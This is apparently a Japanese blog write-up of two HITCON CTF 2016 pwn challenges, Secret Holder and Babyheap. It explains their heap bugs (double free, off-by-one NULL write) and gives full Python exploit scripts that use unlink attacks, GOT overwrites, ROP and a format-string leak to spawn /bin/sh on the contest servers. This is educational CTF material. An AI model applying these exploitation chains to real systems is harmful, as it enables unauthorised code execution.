HITCON CTF Quals 2016 Writeup (Secret Holder & Babyheap)
今回はPwn問題を2問解きました.
とは言っても,うち1問は私の力じゃないのが大きいけど
チームメンバーは皆ひととこに集まって解いてたというのに,僕はずっと家に閉じこもっておりました(笑)
やっぱり集まった方が効率良いですよね・・・
反省ですわ
Secret Holder (Pwn 100)
問題文
Description Break the Secret Holder and find the secret. nc 52.68.31.117 5566
下調べ
shiftcrops@S-Ubuntu:~/CTF/HITCON$ file SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped shiftcrops@S-Ubuntu:~/CTF/HITCON$ checksec.sh --file SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8
あー
64bitのstripされたELFだー
ま,IDAに投げればええか
RELROもPartial,canaryもNXも有効な,一般的なELFバイナリ
プログラム動作解析
Secretを保存するプログラム
できることはkeep(確保),Wipe(削除),Renew(書き換え)の3つのみ
保存するメモリのサイズは「Small」「Big」「Huge」の3つが用意されている.
shiftcrops@S-Ubuntu:~/CTF/HITCON$ ./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 Hey! Do you have any secret? I can help you to hold your secrets, and no one will be able to see it :) 1. Keep secret 2. Wipe secret 3. Renew secret 1 Which level of secret do you want to keep? 1. Small secret 2. Big secret 3. Huge secret
※ここからは説明の為,関数や変数に適当な名前を付けている
Bigサイズのメモリを操作する時を想定して,各関数の流れを説明
keep
メモリを確保するkeep関数では,まずは既に該当サイズのメモリが確保されているのかどうかを,大域変数のena_bigが0でないかで判断する.
確保されていればそのまま関数を抜け,確保されていなかったらcallocでヒープからメモリを確保し,そのアドレスをbuf_bigに格納し,ena_bigを1にする.
その後に確保したメモリに,なにやら秘密を格納できる.
renew
内容の書き換えを行うrenew関数では,先程のena_bigを確認し,メモリが確保されていた場合はbuf_bigに格納されたアドレスにreadを行う.
wipe
問題なのが,メモリを解放するwipe関数
この関数では,メモリが確保されているのかどうかをena_bigで判断もせず,buf_bigに格納されているアドレスをfree関数で解法する.
更に悪いことに,解放後にbuf_bigをNULLにしていないため,double freeが可能となっている.
ちなみに,BSS領域に確保された大域変数のメモリ配置は次の通り
buf_big, buf_huge, buf_smallは8Byteだが,ena_big, ena_huge, ena_smallは4Byteとなっている.
方針
フェーズ1:Unlink Attack
wipe関数の脆弱性を利用し,UAFに持ち込むことを目標とする.
buf_small, buf_big, buf_hugeのいずれか同士が同じアドレスを指すようにし,片方でwipeを行えばもう片方はenaに1が立ったままfreeされたことになる.
すなわち,renewでfree済みのチャンクをいじれることになる.
まず次の流れを考える
1: keep small
2: wipe small
3: keep big ※ buf_small == buf_big
4: wipe small ※ free(buf_big)
5: renew big
3まで実行した時点でbuf_smallとbuf_bigには同じアドレスが格納される
ただし,ena_smallは0, ena_bigは1となっている
ここで,wipe smallすればkeep bigで確保したメモリが解放されるが,ena_bigは1のままなのでrenewで書き込みが可能となる.
しかし,ここで行き詰る
UAFまでできたら次にはUnlink Attackなどに持ち込みたいと考える.
しかし,仮にここまでやっても次のfreeチャンクのサイズを書き換えられるだけであまりうま味が無い
もう一個callocできたらなーなんて思ってるとhugeがある
しかし,ここまで巨大なサイズのcallocをすると,別のページに確保されてしまうのでどうにも使えない・・・
なんてことを考えてると,一回keep hugeしてからwipe hugeし,再びkeep hugeするとヒープが拡張され,他のチャンクと連続したメモリアドレスに確保されることが発覚
これは使えるぞい
てなわけで,書き換え役をbigからhugeに方針転換,ついでに事前のkeep hugeを含めてこのような流れに
1: keep huge
2: wipe huge
3: keep small
4: wipe small
5: keep huge ※ buf_small == buf_huge
6: wipe small ※ free(buf_huge)
この次にsmallとbigを順にkeepし,hugeから自由に書き換えができる確保済みチャンクを作る.
7: keep small ('\x41'x8)
8: keep big ('\x61'x8)
Unlink Attackに持ち込みたいので,自由にヘッダまで弄れるチャンクが2個欲しい.
しかし,このままではbigのヘッダしかいじれないのでダメ・・・
(ここに至る以前に,チャンク1つでfastbinsのUnlink Attackには成功したのだが,読み書きができる固定アドレスに0x30が無かったのでこの方針は断念した経緯がある)
そこで,確保済みのbigチャンクの大きさを書き換え,小さい偽チャンクを無理やり作る
9: renew huge
exploit_st1 = '\x00'*0x28 exploit_st1 += pack_64(0x30 | PREV_INUSE) exploit_st1 += '\x00'*0x28 exploit_st1 += pack_64(0x81fa0 | PREV_INUSE)
サイズを書き換えたbigチャンクをfreeさせることで0x30サイズのfastbinsの先頭に繋ぎ,次のkeep smallでここを返すようにする.
また,keep bigをすれば,「元々の正しいbigチャンク」の直下に新しいbigチャンクが確保されるので,renew hugeで書き換えできるチャンクが2つになったことになる.
10: wipe small
11: wipe big
12: keep small ('\x41'x8)
13: keep big ('\x61'x8)
13まで実行したの時点でのbuf_small, buf_bigの値と,ヒープの状態は次の通り
Unlink Attackを行うためには,まさにそのチャンクの先頭を指すポインタが固定アドレスに無くてはならない.
そこで思いつくのがbuf_smallである.
しかし,このポインタはチャンクの先頭から0x10Byte上位を指している.
そのため,指している先が正にチャンクの先頭になるように,0x10Byteだけずらした場所に「あたかもfree済みのような」偽チャンクを作る.
14: renew huge
addr_ptr_small = 0x6020b0 exploit_st2 = '\x00'*0x30 # small (shift small chunk behind 16 bytes) exploit_st2 += pack_64(0x0) # prev_size exploit_st2 += pack_64(0xfa0 | PREV_INUSE) # size exploit_st2 += pack_64(addr_ptr_small-0x18) # fd exploit_st2 += pack_64(addr_ptr_small-0x10) # bk exploit_st2 += '\x00'*0xf80 # big exploit_st2 += pack_64(0xfa0) # prev_size exploit_st2 += pack_64(0xfb0 & ~PREV_INUSE) # size
ここまでくれば準備完了
あとは,wipe bigすれば直前の「smallとちょっとずれた」チャンクのUnlinkが走り,addr_ptr_smallに格納される値がaddr_ptr_small-0x18に書き換えられる.(buf_small = *buf_big-0x8)
すなわち,renew smallでbuf_big, buf_huge, buf_smallを書き換え,その後はrenewで任意アドレスの書き換えが可能となった.
フェーズ2:GOT Overwrite -> ROP
今回はシェルをとるのが目標だが,ASLRが有効の為libcのベースアドレスが分からない.
そこで一旦GOTを書き換えて適当な関数でをリークをさせ,ベースアドレスを特定した後に再びGOTを書き換えて・・・という流れが考えられる
しかし,どのように引数を与えるかなど,この一連の作業が面倒なのでROPに持ち込んで楽することにする.
結構大きな数の文字数をreadして,直後にreturnするような都合に良い命令列が無い物かと探していたら,keep関数内に良いもの発見
raxに書き込みたい先のアドレス(スタック)を格納しておき,ここを呼べば盛大にスタックを溢れさせてくれそう
しかし,そんな丁度良いアドレスをraxに格納して呼ばれる関数があるものだろうか,と探していると,またしてもこんな都合の良い命令列がmain関数内に登場
はい,おしまい
memsetを先程の大量readに書き換えてやればスタックを書き換え,keep関数のretでROPが発動する
ただし,直前のcanaryチェックがあるので,__stack_chk_failのGOTをただのretに向けてやり,何事もなかったかのようにスルーさせれば問題なし
addr_read_lot = 0x4009f9 payload_st1 = '\x00'*0x8 payload_st1 += pack_64(addr_got_memset) # buf_big payload_st1 += pack_64(0) # buf_huge (not used) payload_st1 += pack_64(addr_got_stack_fail) # buf_small payload_st1 += pack_32(1)*3 shd.renew('small', payload_st1) shd.renew('small', pack_64(addr_ret)) # addr_got_stack_fail <- addr_ret shd.renew('big', pack_64(addr_read_lot)) # addr_got_memset <- addr_read_lot
ここまで来たら,もうゴールは目前
__libc_start_mainのGOTアドレスをrdiに格納して,plt経由でputsを呼んで__libc_start_maiのアドレス特定
libcが与えられていなかったが,適当にBabyheapとかのlibcとオフセットを比較したら一致したので勝ち
libcベースが特定できたら,再びmain関数に戻って2度目のROPを実行
system関数でシェルを呼べばおしまい
ついでに,system("/bin/sh")を呼ぶ前にalarm(0)を呼んで,timeoutを無効にしておくのもアリ
Exploit
#!/usr/bin/env python from sc_pwn import * env = Environment('local', 'remote') env.set_item('target', local = {'host':'192.168.75.139','port':8080}, \ remote = {'host':'52.68.31.117','port':5566}) env.set_item('libc', local = 'D:\CTF\FILES\libc-2.19.so_amd64_local', \ remote = 'libc.so.6_375198810bb39e6593a968fcbcf6556789026743') env.select() binf = ELF('SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8', rop=True) libc = ELF(env.libc) addr_got_stack_fail = binf.got('__stack_chk_fail') addr_got_memset = binf.got('memset') addr_got_main = binf.got('__libc_start_main') addr_plt_puts = binf.plt('puts') addr_plt_alarm = binf.plt('alarm') addr_plt_exit = binf.plt('exit') addr_ret = binf.ropgadget('ret') addr_pop_rdi = binf.ropgadget('pop rdi', 'ret') addr_main = 0x400cc2 addr_read_lot = 0x4009f9 addr_ptr_small = 0x6020b0 size_num = {'small':1, 'big':2, 'huge':3} #========== def attack(cmn): shd = SecretHolder(cmn) proc('Pahse1 : Unlink Attack') shd.keep('huge', '') shd.wipe('huge') shd.keep('small', '') shd.wipe('small') shd.keep('huge', '') # buf_huge == buf_small shd.wipe('small') exploit_st1 = '\x00'*0x28 exploit_st1 += pack_64(0x30 | PREV_INUSE) exploit_st1 += '\x00'*0x28 exploit_st1 += pack_64(0x81fa0 | PREV_INUSE) shd.keep('small', '') shd.keep('big', '') shd.renew('huge', exploit_st1) shd.wipe('small') shd.wipe('big') exploit_st2 = '\x00'*0x30 # small (shift small chunk behind 16 bytes) exploit_st2 += pack_64(0x0) # prev_size exploit_st2 += pack_64(0xfa0 | PREV_INUSE) # size exploit_st2 += pack_64(addr_ptr_small-0x18) # fd exploit_st2 += pack_64(addr_ptr_small-0x10) # bk exploit_st2 += '\x00'*0xf80 # big exploit_st2 += pack_64(0xfa0) # prev_size exploit_st2 += pack_64(0xfb0 & ~PREV_INUSE) # size shd.keep('small', '') shd.keep('big', '') shd.renew('huge', exploit_st2) shd.wipe('big') # unlink attack (addr_ptr_small <- addr_ptr_small-0x18) #========== proc('Pahse2 : GOT overwrite to ROP') payload_st1 = '\x00'*0x8 payload_st1 += pack_64(addr_got_memset) # buf_big payload_st1 += pack_64(0) # buf_huge (not used) payload_st1 += pack_64(addr_got_stack_fail) # buf_small payload_st1 += pack_32(1)*3 shd.renew('small', payload_st1) shd.renew('small', pack_64(addr_ret)) # addr_got_stack_fail <- addr_ret shd.renew('big', pack_64(addr_read_lot)) # addr_got_memset <- addr_read_lot #========== proc('Pahse3 : Leak libc base-address') payload_st2 = '\x00'*0x18 payload_st2 += pack_64(addr_pop_rdi) payload_st2 += pack_64(addr_got_main) payload_st2 += pack_64(addr_plt_puts) payload_st2 += pack_64(addr_main) cmn.read_until('3. Renew secret\n') cmn.send(payload_st2) addr_libc_main = cmn.read_until(contain=False) addr_libc_main = unpack_64(addr_libc_main+'\x00'*(8-len(addr_libc_main))) info('addr_libc_main = 0x%08x' % addr_libc_main) libc.set_location('__libc_start_main', addr_libc_main) addr_libc_system = libc.function('system') addr_libc_str_sh = libc.search('/bin/sh') #========== proc('Pahse4 : Execute /bin/sh') payload_st3 = '\x00'*0x18 payload_st3 += pack_64(addr_pop_rdi) payload_st3 += pack_64(0) payload_st3 += pack_64(addr_plt_alarm) payload_st3 += pack_64(addr_pop_rdi) payload_st3 += pack_64(addr_libc_str_sh) payload_st3 += pack_64(addr_libc_system) payload_st3 += pack_64(addr_plt_exit) cmn.read_until('3. Renew secret\n') cmn.send(payload_st3) #========== class SecretHolder: def __init__(self, cmn): self._read_until = cmn.read_until self._sendln = cmn.sendln self._send = cmn.send def keep(self, size, secret): self._read_until('3. Renew secret\n') self._sendln('1') self._read_until('3. Huge secret\n') self._sendln(str(size_num[size])) self._read_until('Tell me your secret: \n') self._send(secret if secret else '\x00') def wipe(self, size): self._read_until('3. Renew secret\n') self._sendln('2') self._read_until('3. Huge secret\n') self._sendln(str(size_num[size])) def renew(self, size, secret): self._read_until('3. Renew secret\n') self._sendln('3') self._read_until('3. Huge secret\n') self._sendln(str(size_num[size])) self._read_until('Tell me your secret: \n') self._send(secret if secret else '\x00') #========== if __name__=='__main__': cmn = Communicate(env.target,mode='SOCKET') attack(cmn) sh = Shell(cmn) sh.select() del(sh) del(cmn) #==========
Babyheap (Pwn 300)
問題文
Description Heap so fun! Baby, don't do it first. nc 52.68.192.99 8731 note : the service is running on ubuntu 16.04 Hint We are STRONGLY recommend that you try this challenge in 16.04 (or with the attached libc)
めっちゃUbuntu 16.04で実行することを薦められてる
なにかしら挙動が違うんだろうなぁ
下調べ
shiftcrops@S-Ubuntu:~/CTF/HITCON$ file babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=2cf55840293ae4d6ddc13488c57b8009e598642f, stripped shiftcrops@S-Ubuntu:~/CTF/HITCON$ checksec.sh --file babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b
SecretHolderと一緒
特記事項無し
プログラム動作解析
なにやらコンテンツと名前を格納するプログラム
New,Delete,Editの3つの機能があるらしい.
ただし,DeleteとEditはそれぞれ1回しかできず,2回呼ぼうとすると_exitで死ぬ
※今回も関数や変数に適当な名前を付けている
データ構造
New関数で新たに書き込もうとすると,2つの領域が確保される.
まずはじめに名前,contentのサイズとポインタを格納するための構造体がmallocで用意される.
次にサイズを入力するとその値がsizeに格納され,そのサイズ分mallocされたポインタがcontentに収められる.
struct DATA { size_t size; char name[8]; char *content; }
ちなみに,この確保された構造体のアドレスは大域変数に保存されている.
contentやnameの入力には,文字列を受け取るための関数(get_str)が用意されている.
この関数の呼び出しには上限の文字数が引数として与えられており,一見すると問題が無いように思われる.
しかしこの関数,よくよく読んでみるとreadの上限は確かに第2引数で与えられたサイズを守っているのだが,最後に入力された文字数+1したところにNULL文字付加してる・・・
Off-by-One Errorがここで発生
既定のサイズより1だけ大きいところにNULLを書き込める脆弱性を発見
Delete関数とEdit関数には特に問題は見受けられない.
Delete関数ではまずcontentをfreeし,次に構造体自体をfreeする.
Edit関数では初めに入力したサイズ分だけ入力を受け,contentに格納されたアドレスに書き込む.
ここでも入力はget_str関数を使っているので何かしら問題になると思いきや,溢れる先はfreeサイズであまり遊べなさそう.
方針
僕がSecret Holder解いてた間に,ほとんどなんちゃら氏が前半フェーズの任意アドレス書き換えまで組んでてくれたのでその流用
一応,それを見る前に悩んでたところもあったので,前半戦の解説もしていく
フェーズ1:任意アドレス書き換え
1ByteだけNULLに書き換えて何ができるか考えると,一番大きいのはポインタの下位1Byteを書き換えて参照をずらせることにあると考える.
その場所は,構造体のcontentの部分
contentにmallocで確保されたメモリのアドレスが格納されたのち,nameで丁度8Byte送ると図のようにそのアドレスが書き換えられる.
ここでfreeを呼ぶと,一つ目のチャンクよりもさらに0x10Byte下位の所をfreeしようとする.
しかしながら,この状態では8Byte前のサイズ要素にアクセスしようとして,SEGVを起こして落ちる
(この図ではASLRが無効なのでそこのメモリにアクセスできるが,本番環境ではそうではないので死ぬ)
さて困った
ここでヒントを思い出す
すごく強く16.04での実行を薦められてた
(実際,最初はこの注意を見落としてて,14.04でやってて分かんねぇって唸ってた)
まぁ結果から言ってしまうと,どうやら16.04のlibcの環境ではバッファリングのメモリがヒープに確保されるらしい.
今回はNewでmallocする領域よりも前にread/writeできるメモリが欲しいので,初めにExitメニューの(Y/n)の部分で大量の文字列を送り,ヒープに偽チャンクヘッダを仕込んでおく.
mallocで確保される構造体のアドレスが0x100Byte以上下にずれればいいので,バッファリングする文字数をはじめは0x100にして実験したが,そうすると0x1000Byteもバッファリング用にヒープが確保されるらしいので,仕方がないがこんな感じの文字列を0x1000Byte近く送る羽目になった.
chunk_1 = 'nn' chunk_1 += '\x00'*(0x1000-0x18-len(chunk_1)) chunk_1 += pack_64(0x50) bh.Exit(chunk_1) chunk_3 = pack_64(0) chunk_3 += pack_64(0x21) bh.New(0x80, chunk_3, 'A'*8)
Newでchunk_3のデータを保存した結果,構造体付近のデータ構造は次のようになる
青で囲まれているのが本来のチャンクで,赤で囲まれてるのは今回作った偽チャンクである.
バッファリングされたデータの最後尾に偽チャンクのサイズを置いておき,丁度そのチャンクが途切れるあたりに次のチャンクの大きさを置いておく.
(contentのメンバが次のチャンクに食い込んでいるが,free時のprev_sizeからを一つのチャンクとして囲っているためこのような図になっている)
この状態でDeleteを行うと,content(0x604000)と構造体(0x604020)がそれぞれfreeに渡される.
その結果,サイズが0x20のbinsのリストには0x604010,0x50のリストには0x603ff0が繋がれ,次にこのサイズがmallocされた時にこれらのチャンクが返るようになる.
構造体のために確保するサイズは決まっているので,contentのサイズを0x50のチャンクが返るように調整する.
その結果図の赤で囲まれたチャンクが返り,New関数での初期の書き込みで構造体の要素を自由に書き換えられる.
contentのアドレスを任意のアドレスに指定して,Editで書き換えが可能となる.
フェーズ2:GOT Overwrite
ここからが僕のお仕事
任意アドレス書き換えが可能になったら,まず考えるのはGOT Overwrite
ユーザからの入力の後,それをそのまま第一引数に取る都合の良い関数を発見したので,atoiの書き換えを試す.
先程同様にROPに持ち込むことを考えて,初めにatoiをscanf,__stack_chk_failをretに書き換え
atoiの第一引数には"%s"を与えた.
(第2引数も第1引数と同じアドレスであったため,スタックオーバフローを引き起こせる)
しかしながらROPgadgetを探していたら,肝心のpop rdi; retのアドレスに改行文字(\x0d)が含まれており,どうにもできずに断念.
仕方がないので,面倒だが2回GOTを書き換える方針をとる事にした.
Editではサイズを大きくしておけば一気に書き換えができるので,_exitからatoiの書き換えを一回で行う.
rewrite_got = pack_64(addr_ret) # _exit rewrite_got += pack_64(addr_plt_read) # __read_chk rewrite_got += pack_64(addr_plt_puts+6) # puts rewrite_got += pack_64(0xdeadbeef) rewrite_got += pack_64(addr_plt_printf+6) # printf rewrite_got += pack_64(addr_plt_alarm+6) # alarm rewrite_got += pack_64(addr_plt_read+6) # read rewrite_got += pack_64(0xdeadbeef) rewrite_got += pack_64(0xdeadbeef) rewrite_got += pack_64(0xdeadbeef) rewrite_got += pack_64(0xdeadbeef) rewrite_got += pack_64(addr_plt_printf) # atoi
GOTを2回書き換えるためにはEditを2回呼ぶ必要があるので,2回目に呼ばれても_exitで落ちることが無いように_exitをただのretにする.
次に,atoiをscanfではなくprintfにする.
(その他の今後使う予定のある関数については,再度解決できるようにする)
printfにユーザ入力がそのまま渡されるようになるので,FSBでGOTからfreeのアドレスをリークさせることを考える.
freeを選んだ理由としては,唯一書き換えられていないGOTの要素だからである.
2回目のEditを呼ぶ際にメニューで3を選ばなくてはならないが,printfの戻り値は出力した文字数なので,ユーザ入力で3文字与えてやればそのまま出力し,3を返して無事に選択できる.
libcのベースが特定できたら,Editでatoiをsystemに書き換えて,引数に"/bin/sh"を与えておしまい.
補足:Edit関数が2回目に呼ばれた時は_exit(0)が呼ばれるので,_exitをretではなくalarmにして,SecretHolderと同様にtimeoutを無効にも出来る.
Exploit
#!/usr/bin/env python from sc_pwn import * env = Environment('local', 'remote') env.set_item('target', local = {'host':'localhost','port':8080}, \ remote = {'host':'52.68.77.85','port':8731}) env.select() binf = ELF('babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b', rop=True) libc = ELF('libc.so.6_375198810bb39e6593a968fcbcf6556789026743') addr_got_free = binf.got('free') addr_got_exit = binf.got('_exit') addr_plt_puts = binf.plt('puts') addr_plt_printf = binf.plt('printf') addr_plt_alarm = binf.plt('alarm') addr_plt_read = binf.plt('read') #========== def attack(cmn): bh = BabyHeap(cmn) chunk_1 = 'nn' chunk_1 += '\x00'*(0x1000-0x18-len(chunk_1)) chunk_1 += pack_64(0x50) bh.Exit(chunk_1) chunk_3 = pack_64(0) chunk_3 += pack_64(0x21) bh.New(0x80, chunk_3, 'A'*8) bh.Delete() rewrite_got = pack_64(addr_plt_alarm) # _exit rewrite_got += pack_64(addr_plt_read) # __read_chk rewrite_got += pack_64(addr_plt_puts+6) # puts rewrite_got += pack_64(0xdeadbeef) rewrite_got += pack_64(addr_plt_printf+6) # printf rewrite_got += pack_64(addr_plt_alarm+6) # alarm rewrite_got += pack_64(addr_plt_read+6) # read rewrite_got += pack_64(0xdeadbeef) rewrite_got += pack_64(0xdeadbeef) rewrite_got += pack_64(0xdeadbeef) rewrite_got += pack_64(0xdeadbeef) rewrite_got += pack_64(addr_plt_printf) # atoi chunk_2 = '\x00'*0x20 chunk_2 += pack_64(len(rewrite_got)) # size chunk_2 += pack_64(0) # name (over written) chunk_2 += pack_64(addr_got_exit) # &content bh.New(0x48, chunk_2, 'name') bh.Edit(rewrite_got) # got_exit <- alarm, got_atoi <- printf cmn.read_until('Your choice:') cmn.send('%9$s!! '+pack_64(addr_got_free)) # FSB addr_libc_free = cmn.read_until('!!', contain=False) addr_libc_free = unpack_64(addr_libc_free+'\x00'*(8-len(addr_libc_free))) info('addr_libc_free = 0x%08x' % addr_libc_free) libc.set_location('free', addr_libc_free) addr_libc_system = libc.function('system') info('addr_libc_system = 0x%08x' % addr_libc_system) rewrite_got = rewrite_got[:-8] rewrite_got += pack_64(addr_libc_system) # atoi bh.Edit(rewrite_got) # alarm(0), got_atoi <- system cmn.read_until('Your choice:') cmn.send('/bin/sh\0') #========== class BabyHeap: def __init__(self, cmn): self._read = cmn.read self._read_until = cmn.read_until self._send = cmn.send self._sendln = cmn.sendln def New(self, size, content, name): self._read_until('Your choice:') self._send('1') prompt = self._read(6) if 'Size' in prompt: self._sendln(str(size)) self._read_until('Content:') self._send(content) self._read_until('Name:') self._send(name) else: fail('Remote program is exited') def Delete(self): self._read_until('Your choice:') self._send('2 ') def Edit(self, content): self._read_until('Your choice:') self._send('3 ') self._read(7) self._send(content) def Exit(self, ans): self._read_until('Your choice:') self._send('4 ') self._read_until('(Y/n)') self._sendln(ans) #========== if __name__=='__main__': cmn = Communicate(env.target,mode='SOCKET') attack(cmn) sh = Shell(cmn) sh.select() del(sh) del(cmn) #==========
感想
いやぁヒープ問題楽しいですね!
こんな問題を作れるHITCON,本当に尊敬します・・・
Babyheapに至っては,なーにがbabyじゃい!って思ってましたが(笑)
ヒープ周りのお勉強になるし,本当にありがとうございました.
楽しかったですわ